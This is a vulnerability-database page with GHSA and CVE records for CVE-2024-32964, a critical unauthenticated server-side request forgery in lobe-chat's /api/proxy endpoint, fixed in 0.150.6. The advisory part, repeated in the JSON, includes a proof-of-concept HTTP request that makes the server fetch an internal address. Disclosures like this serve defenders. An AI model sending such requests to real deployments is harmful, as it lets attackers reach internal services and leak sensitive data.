Vulnerability-Lookup

GHSA-MXHQ-XW3G-RPHC

Vulnerability from github – Published: 2024-05-10 15:29 – Updated: 2024-05-14 20:03

Summary

lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

Details

Summary

The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

visit https://chat-preview.lobehub.com/settings/agent
you can attack all internal services by /api/proxy and get the echo in http response :)

PoC

POST /api/proxy HTTP/2
Host: xxxxxxxxxxxxxxxxx
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0
Content-Length: 23
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/agent
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7

http://172.23.0.1:8000/

Impact

SSRF ,All users will be impacted.

Severity

9.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H

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JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.150.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.150.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-10T15:29:51Z",
    "nvd_published_at": "2024-05-14T15:37:18Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/settings/agent  \n* you can attack all internal services by /api/proxy and get the echo in http response :) \n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75)\n\n\n\n### PoC\n```http\nPOST /api/proxy HTTP/2\nHost: xxxxxxxxxxxxxxxxx\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0\nContent-Length: 23\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nSec-Ch-Ua-Platform: \"Windows\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nContent-Type: text/plain;charset=UTF-8\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/agent\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\n\nhttp://172.23.0.1:8000/\n```\n\n### Impact\nSSRF ,All users will be impacted.",
  "id": "GHSA-mxhq-xw3g-rphc",
  "modified": "2024-05-14T20:03:54Z",
  "published": "2024-05-10T15:29:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32964"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability"
}

CVE-2024-32964 (GCVE-0-2024-32964)

Vulnerability from cvelistv5 – Published: 2024-05-10 14:49 – Updated: 2024-08-02 02:27

Title

lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

Summary

Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.

Severity

9 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2024-05-10 17:50 UTC

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/lobehub/lobe-chat/security/adv…	x_refsource_CONFIRM
https://github.com/lobehub/lobe-chat/commit/46566…	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
lobehub	lobe-chat	Affected: <= 0.150.5
lobehub	lobe_chat	Affected: 0 , < 0.150.6 (custom) cpe:2.3:a:lobehub:lobe_chat::::::::

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:lobehub:lobe_chat:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "lobe_chat",
            "vendor": "lobehub",
            "versions": [
              {
                "lessThan": "0.150.6",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-32964",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-10T17:50:39.544520Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-06T17:36:50.260Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T02:27:53.559Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
          },
          {
            "name": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "lobe-chat",
          "vendor": "lobehub",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.150.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-05-10T14:49:31.019Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
        },
        {
          "name": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37"
        }
      ],
      "source": {
        "advisory": "GHSA-mxhq-xw3g-rphc",
        "discovery": "UNKNOWN"
      },
      "title": "lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-32964",
    "datePublished": "2024-05-10T14:49:31.019Z",
    "dateReserved": "2024-04-22T15:14:59.164Z",
    "dateUpdated": "2024-08-02T02:27:53.559Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-MXHQ-XW3G-RPHC

Summary

Details

PoC

Impact

CVE-2024-32964 (GCVE-0-2024-32964)

Tags

Sightings

Nomenclature

Related by attack behaviour